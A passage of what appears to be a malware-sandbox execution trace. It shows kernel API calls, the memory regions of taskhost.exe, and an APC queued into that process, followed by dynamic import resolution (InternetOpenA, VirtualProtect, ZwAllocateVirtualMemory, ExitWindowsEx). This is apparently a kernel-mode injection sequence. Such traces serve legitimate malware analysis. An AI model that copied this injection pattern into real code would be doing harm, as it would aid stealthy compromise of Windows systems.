MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800c1b4440, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88002ce7000 [0100.574] IdePortDispatch () returned 0x103 [0100.617] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800c1b4440, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88003444000 [0100.617] IdePortDispatch () returned 0x103 [0100.782] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800c1b4440, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88000b28000 [0100.782] IdePortDispatch () returned 0x103 [0100.923] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800c1b4440, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff8800351c000 [0100.923] IdePortDispatch () returned 0x103 [0101.052] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800c1b4440, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88002d98000 [0101.052] IdePortDispatch () returned 0x103 [0101.522] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800c1b4440, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88002c84000 [0101.522] IdePortDispatch () returned 0x103 [0101.731] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800c1b4440, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88002c54000 [0101.731] IdePortDispatch () returned 0x103 [0101.753] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800c1b4440, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88002c63000 [0101.753] IdePortDispatch () returned 0x103 [0101.766] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800c1b4440, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88003440000 [0101.766] IdePortDispatch () returned 0x103 [0101.842] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800c1b4440, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88004050000 [0101.842] IdePortDispatch () returned 0x103 [0102.060] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800c1b4440, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88002de9000 [0102.060] IdePortDispatch () returned 0x103 [0102.061] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800c1b4440, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88002ded000 [0102.061] IdePortDispatch () returned 0x103 [0102.106] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800c1b4440, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88002d03000 [0102.106] IdePortDispatch () returned 0x103 [0102.141] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\SysWOW64\\ntdll.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0102.142] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800c1b4440, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88002d15000 [0102.142] IdePortDispatch () returned 0x103 [0102.216] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800c1b4440, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88003426000 [0102.216] IdePortDispatch () returned 0x103 [0102.218] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\SysWOW64\\uxtheme.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0102.394] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800c1b4440, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88000b6e000 [0102.394] IdePortDispatch () returned 0x103 [0102.403] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800c1b4440, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88002d3a000 [0102.403] IdePortDispatch () returned 0x103 [0102.406] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800c1b4440, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff88002da4000 [0102.406] IdePortDispatch () returned 0x103 [0102.548] GetCurrentThreadId () returned 0x5fc [0102.548] GetCurrentThreadId () returned 0x5fc Thread: id = 406 os_tid = 0x684 Process: id = "35" image_name = "taskhost.exe" filename = "c:\\windows\\system32\\taskhost.exe" page_root = "0x74167000" os_pid = "0x788" monitor_reason = "child_process" parent_id = "11" os_parent_pid = "0x1d4" cmd_line = "taskhost.exe SYSTEM" cur_dir = "C:\\Windows\\system32\\" Region: id = 3798 start_va = 0x10000 end_va = 0x2ffff entry_point = 0x0 region_type = private name = "private_0x0000000000010000" filename = "" Region: id = 3799 start_va = 0x30000 end_va = 0x33fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000030000" filename = "" Region: id = 3800 start_va = 0x170000 end_va = 0x1effff entry_point = 0x0 region_type = private name = "private_0x0000000000170000" filename = "" Region: id = 3801 start_va = 0x77c50000 end_va = 0x77df8fff entry_point = 0x77c50000 region_type = mapped_file name = "ntdll.dll" filename = "\\Windows\\System32\\ntdll.dll" Region: id = 3802 start_va = 0x7efe0000 end_va = 0x7ffdffff entry_point = 0x0 region_type = private name = "private_0x000000007efe0000" filename = "" Region: id = 3803 start_va = 0x7ffe0000 end_va = 0x7ffeffff entry_point = 0x0 region_type = private name = "private_0x000000007ffe0000" filename = "" Region: id = 3804 start_va = 0xff250000 end_va = 0xff263fff entry_point = 0xff252ce0 region_type = mapped_file name = "taskhost.exe" filename = "\\Windows\\System32\\taskhost.exe" Region: id = 3805 start_va = 0x7fefff70000 end_va = 0x7fefff70fff entry_point = 0x7fefff70000 region_type = mapped_file name = "apisetschema.dll" filename = "\\Windows\\System32\\apisetschema.dll" Region: id = 3806 start_va = 0x7fffffb0000 end_va = 0x7fffffd2fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000007fffffb0000" filename = "" Region: id = 3807 start_va = 0x7fffffd3000 end_va = 0x7fffffd3fff entry_point = 0x0 region_type = private name = "private_0x000007fffffd3000" filename = "" Region: id = 3808 start_va = 0x7fffffde000 end_va = 0x7fffffdffff entry_point = 0x0 region_type = private name = "private_0x000007fffffde000" filename = "" Region: id = 3809 start_va = 0x10000 end_va = 0x23fff entry_point = 0x0 region_type = private name = "private_0x0000000000010000" filename = "" Region: id = 3810 start_va = 0x40000 end_va = 0x40fff entry_point = 0x0 region_type = private name = "private_0x0000000000040000" filename = "" Region: id = 3811 start_va = 0x2f0000 end_va = 0x3effff entry_point = 0x0 region_type = private name = "private_0x00000000002f0000" filename = "" Region: id = 3812 start_va = 0x77a30000 end_va = 0x77b4efff entry_point = 0x77a45ea0 region_type = mapped_file name = "kernel32.dll" filename = "\\Windows\\System32\\kernel32.dll" Region: id = 3813 start_va = 0x7fefde00000 end_va = 0x7fefde6afff entry_point = 0x7fefde030e0 region_type = mapped_file name = "KernelBase.dll" filename = "\\Windows\\System32\\KernelBase.dll" Region: id = 3814 start_va = 0x50000 end_va = 0x5ffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000050000" filename = "" Region: id = 3815 start_va = 0x60000 end_va = 0xc6fff entry_point = 0x60000 region_type = mapped_file name = "locale.nls" filename = "\\Windows\\System32\\locale.nls" Region: id = 3816 start_va = 0xd0000 end_va = 0xd6fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000000d0000" filename = "" Region: id = 3817 start_va = 0xe0000 end_va = 0xeffff entry_point = 0x0 region_type = private name = "private_0x00000000000e0000" filename = "" Region: id = 3818 start_va = 0xf0000 end_va = 0xf1fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000000f0000" filename = "" Region: id = 3819 start_va = 0x100000 end_va = 0x100fff entry_point = 0x0 region_type = private name = "private_0x0000000000100000" filename = "" Region: id = 3820 start_va = 0x110000 end_va = 0x110fff entry_point = 0x0 region_type = private name = "private_0x0000000000110000" filename = "" Region: id = 3821 start_va = 0x1f0000 end_va = 0x2effff entry_point = 0x0 region_type = private name = "private_0x00000000001f0000" filename = "" Region: id = 3822 start_va = 0x3f0000 end_va = 0x577fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000003f0000" filename = "" Region: id = 3823 start_va = 0x580000 end_va = 0x700fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000580000" filename = "" Region: id = 3824 start_va = 0x710000 end_va = 0x7cffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000710000" filename = "" Region: id = 3825 start_va = 0x7d0000 end_va = 0xbc2fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000007d0000" filename = "" Region: id = 3826 start_va = 0x77b50000 end_va = 0x77c49fff entry_point = 0x77b6a2c8 region_type = mapped_file name = "user32.dll" filename = "\\Windows\\System32\\user32.dll" Region: id = 3827 start_va = 0x7efe0000 end_va = 0x7f0dffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000007efe0000" filename = "" Region: id = 3828 start_va = 0x7f0e0000 end_va = 0x7ffdffff entry_point = 0x0 region_type = private name = "private_0x000000007f0e0000" filename = "" Region: id = 3829 start_va = 0x7feff1d0000 end_va = 0x7feff1ddfff entry_point = 0x7feff1d1080 region_type = mapped_file name = "lpk.dll" filename = "\\Windows\\System32\\lpk.dll" Region: id = 3830 start_va = 0x7feff230000 end_va = 0x7feff306fff entry_point = 0x7feff233274 region_type = mapped_file name = "oleaut32.dll" filename = "\\Windows\\System32\\oleaut32.dll" Region: id = 3831 start_va = 0x7feff610000 end_va = 0x7feff676fff entry_point = 0x7feff61b03c region_type = mapped_file name = "gdi32.dll" filename = "\\Windows\\System32\\gdi32.dll" Region: id = 3832 start_va = 0x7feff940000 end_va = 0x7feffb42fff entry_point = 0x7feff963330 region_type = mapped_file name = "ole32.dll" filename = "\\Windows\\System32\\ole32.dll" Region: id = 3833 start_va = 0x7feffb70000 end_va = 0x7feffc38fff entry_point = 0x7feffbea874 region_type = mapped_file name = "usp10.dll" filename = "\\Windows\\System32\\usp10.dll" Region: id = 3834 start_va = 0x7feffc40000 end_va = 0x7feffcdefff entry_point = 0x7feffc425a0 region_type = mapped_file name = "msvcrt.dll" filename = "\\Windows\\System32\\msvcrt.dll" Region: id = 3835 start_va = 0x7feffcf0000 end_va = 0x7feffd1dfff entry_point = 0x7feffcf1010 region_type = mapped_file name = "imm32.dll" filename = "\\Windows\\System32\\imm32.dll" Region: id = 3836 start_va = 0x7feffd20000 end_va = 0x7feffe4cfff entry_point = 0x7feffd6ed50 region_type = mapped_file name = "rpcrt4.dll" filename = "\\Windows\\System32\\rpcrt4.dll" Region: id = 3837 start_va = 0x7feffe50000 end_va = 0x7fefff58fff entry_point = 0x7feffe51064 region_type = mapped_file name = "msctf.dll" filename = "\\Windows\\System32\\msctf.dll" Region: id = 3940 start_va = 0x7fefdc40000 end_va = 0x7fefdc4efff entry_point = 0x7fefdc41020 region_type = mapped_file name = "msasn1.dll" filename = "\\Windows\\System32\\msasn1.dll" Region: id = 3941 start_va = 0x7fefdc50000 end_va = 0x7fefddb6fff entry_point = 0x7fefdc510c0 region_type = mapped_file name = "crypt32.dll" filename = "\\Windows\\System32\\crypt32.dll" Region: id = 3942 start_va = 0x7fefed00000 end_va = 0x7fefed1efff entry_point = 0x7fefed060e8 region_type = mapped_file name = "sechost.dll" filename = "\\Windows\\System32\\sechost.dll" Region: id = 3943 start_va = 0x7fefed20000 end_va = 0x7fefedfafff entry_point = 0x7fefed40760 region_type = mapped_file name = "advapi32.dll" filename = "\\Windows\\System32\\advapi32.dll" Region: id = 3944 start_va = 0x7fefee00000 end_va = 0x7fefef77fff entry_point = 0x7fefee010e0 region_type = mapped_file name = "urlmon.dll" filename = "\\Windows\\System32\\urlmon.dll" Region: id = 3945 start_va = 0x7fefef80000 end_va = 0x7feff0a9fff entry_point = 0x7fefef810d4 region_type = mapped_file name = "wininet.dll" filename = "\\Windows\\System32\\wininet.dll" Region: id = 3946 start_va = 0x7feff4f0000 end_va = 0x7feff560fff entry_point = 0x7feff501e20 region_type = mapped_file name = "shlwapi.dll" filename = "\\Windows\\System32\\shlwapi.dll" Region: id = 3947 start_va = 0x7feff6e0000 end_va = 0x7feff938fff entry_point = 0x7feff6e1340 region_type = mapped_file name = "iertutil.dll" filename = "\\Windows\\System32\\iertutil.dll" Region: id = 3948 start_va = 0xd10000 end_va = 0xd8ffff entry_point = 0x0 region_type = private name = "private_0x0000000000d10000" filename = "" Region: id = 3949 start_va = 0x7feffb50000 end_va = 0x7feffb66fff entry_point = 0x7feffb51070 region_type = mapped_file name = "imagehlp.dll" filename = "\\Windows\\System32\\imagehlp.dll" Region: id = 3950 start_va = 0x77e20000 end_va = 0x77e26fff entry_point = 0x77e2106c region_type = mapped_file name = "psapi.dll" filename = "\\Windows\\System32\\psapi.dll" Region: id = 3951 start_va = 0xf60000 end_va = 0x122efff entry_point = 0xf60000 region_type = mapped_file name = "SortDefault.nls" filename = "\\Windows\\Globalization\\Sorting\\SortDefault.nls" Region: id = 4000 start_va = 0x10000 end_va = 0x10fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000010000" filename = "" Region: id = 4001 start_va = 0x20000 end_va = 0x20fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000020000" filename = "" Region: id = 4002 start_va = 0x120000 end_va = 0x122fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000120000" filename = "" Region: id = 4003 start_va = 0xc10000 end_va = 0xc8ffff entry_point = 0x0 region_type = private name = "private_0x0000000000c10000" filename = "" Region: id = 4004 start_va = 0xc90000 end_va = 0xd0ffff entry_point = 0x0 region_type = private name = "private_0x0000000000c90000" filename = "" Region: id = 4005 start_va = 0xde0000 end_va = 0xe5ffff entry_point = 0x0 region_type = private name = "private_0x0000000000de0000" filename = "" Region: id = 4006 start_va = 0xeb0000 end_va = 0xebffff entry_point = 0x0 region_type = private name = "private_0x0000000000eb0000" filename = "" Region: id = 4007 start_va = 0xec0000 end_va = 0xf3ffff entry_point = 0x0 region_type = private name = "private_0x0000000000ec0000" filename = "" Region: id = 4008 start_va = 0x1300000 end_va = 0x137ffff entry_point = 0x0 region_type = private name = "private_0x0000000001300000" filename = "" Region: id = 4009 start_va = 0x14e0000 end_va = 0x155ffff entry_point = 0x0 region_type = private name = "private_0x00000000014e0000" filename = "" Region: id = 4010 start_va = 0x15b0000 end_va = 0x162ffff entry_point = 0x0 region_type = private name = "private_0x00000000015b0000" filename = "" Region: id = 4011 start_va = 0x7fef69d0000 end_va = 0x7fef6bb5fff entry_point = 0x7fef69d1210 region_type = mapped_file name = "CertEnroll.dll" filename = "\\Windows\\System32\\CertEnroll.dll" Region: id = 4012 start_va = 0x7fef6bc0000 end_va = 0x7fef6c33fff entry_point = 0x7fef6bc1b0c region_type = mapped_file name = "certcli.dll" filename = "\\Windows\\System32\\certcli.dll" Region: id = 4013 start_va = 0x7fef7a80000 end_va = 0x7fef7a8bfff entry_point = 0x7fef7a8602c region_type = mapped_file name = "npmproxy.dll" filename = "\\Windows\\System32\\npmproxy.dll" Region: id = 4014 start_va = 0x7fef7d50000 end_va = 0x7fef7dc3fff entry_point = 0x7fef7d566f0 region_type = mapped_file name = "netprofm.dll" filename = "\\Windows\\System32\\netprofm.dll" Region: id = 4015 start_va = 0x7fef9880000 end_va = 0x7fef988ffff entry_point = 0x7fef988624c region_type = mapped_file name = "pautoenr.dll" filename = "\\Windows\\System32\\pautoenr.dll" Region: id = 4016 start_va = 0x7fef98a0000 end_va = 0x7fef98adfff entry_point = 0x7fef98a5d28 region_type = mapped_file name = "dimsjob.dll" filename = "\\Windows\\System32\\dimsjob.dll" Region: id = 4017 start_va = 0x7fefb750000 end_va = 0x7fefb75bfff entry_point = 0x7fefb7515d8 region_type = mapped_file name = "dsrole.dll" filename = "\\Windows\\System32\\dsrole.dll" Region: id = 4018 start_va = 0x7fefb7b0000 end_va = 0x7fefb8d6fff entry_point = 0x7fefb7b10ec region_type = mapped_file name = "taskschd.dll" filename = "\\Windows\\System32\\taskschd.dll" Region: id = 4019 start_va = 0x7fefb8e0000 end_va = 0x7fefb8f8fff entry_point = 0x7fefb8e11a8 region_type = mapped_file name = "atl.dll" filename = "\\Windows\\System32\\atl.dll" Region: id = 4020 start_va = 0x7fefb940000 end_va = 0x7fefb954fff entry_point = 0x7fefb9460d8 region_type = mapped_file name = "nlaapi.dll" filename = "\\Windows\\System32\\nlaapi.dll" Region: id = 4021 start_va = 0x7fefd190000 end_va = 0x7fefd1d6fff entry_point = 0x7fefd191064 region_type = mapped_file name = "rsaenh.dll" filename = "\\Windows\\System32\\rsaenh.dll" Region: id = 4022 start_va = 0x7fefd490000 end_va = 0x7fefd4a6fff entry_point = 0x7fefd4932b8 region_type = mapped_file name = "cryptsp.dll" filename = "\\Windows\\System32\\cryptsp.dll" Region: id = 4023 start_va = 0x7fefda60000 end_va = 0x7fefda84fff entry_point = 0x7fefda69658 region_type = mapped_file name = "sspicli.dll" filename = "\\Windows\\System32\\sspicli.dll" Region: id = 4024 start_va = 0x7fefda90000 end_va = 0x7fefda9efff entry_point = 0x7fefda91010 region_type = mapped_file name = "cryptbase.dll" filename = "\\Windows\\System32\\cryptbase.dll" Region: id = 4025 start_va = 0x7fefdb40000 end_va = 0x7fefdb53fff entry_point = 0x7fefdb410e0 region_type = mapped_file name = "RpcRtRemote.dll" filename = "\\Windows\\System32\\RpcRtRemote.dll" Region: id = 4026 start_va = 0x7feff570000 end_va = 0x7feff608fff entry_point = 0x7feff571c10 region_type = mapped_file name = "clbcatq.dll" filename = "\\Windows\\System32\\clbcatq.dll" Region: id = 4027 start_va = 0x7feff680000 end_va = 0x7feff6d1fff entry_point = 0x7feff6810d4 region_type = mapped_file name = "Wldap32.dll" filename = "\\Windows\\System32\\Wldap32.dll" Region: id = 4028 start_va = 0x7feffce0000 end_va = 0x7feffce7fff entry_point = 0x7feffce1504 region_type = mapped_file name = "nsi.dll" filename = "\\Windows\\System32\\nsi.dll" Region: id = 4029 start_va = 0x7fffffae000 end_va = 0x7fffffaffff entry_point = 0x0 region_type = private name = "private_0x000007fffffae000" filename = "" Region: id = 4030 start_va = 0x7fffffd4000 end_va = 0x7fffffd5fff entry_point = 0x0 region_type = private name = "private_0x000007fffffd4000" filename = "" Region: id = 4031 start_va = 0x7fffffd6000 end_va = 0x7fffffd7fff entry_point = 0x0 region_type = private name = "private_0x000007fffffd6000" filename = "" Region: id = 4032 start_va = 0x7fffffd8000 end_va = 0x7fffffd9fff entry_point = 0x0 region_type = private name = "private_0x000007fffffd8000" filename = "" Region: id = 4033 start_va = 0x7fffffda000 end_va = 0x7fffffdbfff entry_point = 0x0 region_type = private name = "private_0x000007fffffda000" filename = "" Region: id = 4034 start_va = 0x7fffffdc000 end_va = 0x7fffffddfff entry_point = 0x0 region_type = private name = "private_0x000007fffffdc000" filename = "" Thread: id = 511 os_tid = 0x78c [0113.613] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Device\\HarddiskVolume1\\Windows\\System32\\taskhost.exe", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0113.614] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\SystemRoot\\System32\\ntdll.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0113.616] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\kernel32.dll", IgnoreCase=1, UpcaseTable=0x0) returned 1 [0113.616] IoIs32bitProcess (Irp=0x0) returned 0 [0113.616] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x58) returned 0xfffffa80071fad90 [0113.616] KeInitializeApc (Apc=0xfffffa80071fad90, Thread=0xfffffa8003aa1630, TargetEnvironment=0x0, KernelRoutine=0xfffffa80027cb10c, RundownRoutine=0x0, NormalRoutine=0x0, Mode=0xffff4a0800000000, Context=0x0) [0113.617] KeInsertQueueApc (Apc=0xfffffa80071fad90, SystemArgument1=0x0, SystemArgument2=0x0, PriorityBoost=0x0) returned 1 [0113.617] ExFreePoolWithTag (P=0xfffffa80071fad90, Tag=0x0) [0113.617] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x478) returned 0xfffffa8003b695d0 [0113.617] IoGetCurrentProcess () returned 0xfffffa8003aa1b30 [0113.617] PsGetCurrentProcessId () returned 0x788 [0113.617] IoIs32bitProcess (Irp=0x0) returned 0 [0113.617] KeInitializeEvent (in: Event=0xfffffa8003b69610, Type=0x0, State=0 | out: Event=0xfffffa8003b69610) [0113.617] ExQueueWorkItem (in: WorkItem=0xfffffa8003b695d0*(List.Flink=0x0, List.Blink=0x0, WorkerRoutine=0xfffffa80027cafd8, Parameter=0xfffffa8003b695d0), QueueType=0x1 | out: WorkItem=0xfffffa8003b695d0*(List.Flink=0x0, List.Blink=0x0, WorkerRoutine=0xfffffa80027cafd8, Parameter=0xfffffa8003b695d0)) [0113.617] KeWaitForMutexObject () returned 0x0 [0113.681] ExFreePoolWithTag (P=0xfffffa8003b695d0, Tag=0x0) [0113.681] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\KernelBase.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0113.685] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\msvcrt.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0113.686] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\ole32.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0113.687] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\gdi32.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0113.687] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\user32.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0113.687] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\lpk.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0113.688] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\usp10.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0113.688] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\rpcrt4.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0113.689] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\oleaut32.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0113.692] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\imm32.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0113.692] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\msctf.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0113.696] LoadLibraryExA (lpLibFileName="KERNEL32", hFile=0x0, dwFlags=0x0) returned 0x77a30000 [0115.116] GetProcAddress (hModule=0x77a30000, lpProcName="GetModuleHandleA") returned 0x77a465e0 [0115.116] GetProcAddress (hModule=0x77a30000, lpProcName="GetProcAddress") returned 0x77a53690 [0115.116] LoadLibraryExA (lpLibFileName="ntdll.dll", hFile=0x0, dwFlags=0x0) returned 0x77c50000 [0115.116] GetProcAddress (hModule=0x77c50000, lpProcName="atol") returned 0x77c565ec [0115.116] LoadLibraryExA (lpLibFileName="WININET.dll", hFile=0x0, dwFlags=0x0) returned 0x7fefef80000 [0115.116] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\wininet.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0115.116] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\shlwapi.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0115.117] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\advapi32.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0115.117] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\sechost.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0115.118] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\urlmon.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0115.119] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\crypt32.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0115.119] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\msasn1.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0115.119] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\iertutil.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0115.127] GetProcAddress (hModule=0x7fefef80000, lpProcName="InternetOpenA") returned 0x7fefef99098 [0115.127] LoadLibraryExA (lpLibFileName="SHLWAPI.dll", hFile=0x0, dwFlags=0x0) returned 0x7feff4f0000 [0115.127] GetProcAddress (hModule=0x7feff4f0000, lpProcName="StrStrIA") returned 0x7feff4f5a1c [0115.127] LoadLibraryExA (lpLibFileName="imagehlp.dll", hFile=0x0, dwFlags=0x0) returned 0x7feffb50000 [0115.127] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\imagehlp.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0115.129] GetProcAddress (hModule=0x7feffb50000, lpProcName="MapFileAndCheckSumA") returned 0x7feffb556ec [0115.129] LoadLibraryExA (lpLibFileName="PSAPI.DLL", hFile=0x0, dwFlags=0x0) returned 0x77e20000 [0115.129] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\psapi.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0115.130] GetProcAddress (hModule=0x77e20000, lpProcName="GetModuleFileNameExA") returned 0x77e21268 [0115.130] LoadLibraryExA (lpLibFileName="ADVAPI32.dll", hFile=0x0, dwFlags=0x0) returned 0x7fefed20000 [0115.130] GetProcAddress (hModule=0x7fefed20000, lpProcName="SetSecurityInfo") returned 0x7fefed28420 [0115.130] LoadLibraryExA (lpLibFileName="USER32.dll", hFile=0x0, dwFlags=0x0) returned 0x77b50000 [0115.130] GetProcAddress (hModule=0x77b50000, lpProcName="ExitWindowsEx") returned 0x77ba14e0 [0115.130] LoadLibraryExA (lpLibFileName="ole32.dll", hFile=0x0, dwFlags=0x0) returned 0x7feff940000 [0115.130] GetProcAddress (hModule=0x7feff940000, lpProcName="CoCreateInstance") returned 0x7feff967490 [0115.132] GetModuleHandleA (lpModuleName="KERNEL32") returned 0x77a30000 [0115.132] GetProcAddress (hModule=0x77a30000, lpProcName="VirtualProtect") returned 0x77a32ef0 [0115.132] VirtualProtect (in: lpAddress=0x1016f, dwSize=0x78, flNewProtect=0x4, lpflOldProtect=0x1ef1a8 | out: lpflOldProtect=0x1ef1a8*=0x40) returned 1 [0115.132] VirtualProtect (in: lpAddress=0x1016f, dwSize=0x78, flNewProtect=0x40, lpflOldProtect=0x1ef1a8 | out: lpflOldProtect=0x1ef1a8*=0x4) returned 1 [0115.133] GetModuleHandleA (lpModuleName="ntdll.dll") returned 0x77c50000 [0115.133] GetProcAddress (hModule=0x77c50000, lpProcName="_strlwr") returned 0x77cd8fb0 [0115.133] GetProcAddress (hModule=0x77c50000, lpProcName="RtlTimeToSecondsSince1970") returned 0x77c67c30 [0115.133] GetProcAddress (hModule=0x77c50000, lpProcName="RtlRandom") returned 0x77cf4a40 [0115.133] GetProcAddress (hModule=0x77c50000, lpProcName="RtlImageDirectoryEntryToData") returned 0x77c80950 [0115.133] GetProcAddress (hModule=0x77c50000, lpProcName="RtlImageNtHeader") returned 0x77c7ecb0 [0115.133] GetProcAddress (hModule=0x77c50000, lpProcName="ZwAllocateVirtualMemory") returned 0x77ca1490 [0115.133] GetProcAddress (hModule=0x77c50000, lpProcName="ZwFreeVirtualMemory") returned 0x77ca14f0 [0115.133] GetProcAddress (hModule=0x77c50000, lpProcName="sscanf") returned 0x77cda974 [0115.133] GetProcAddress 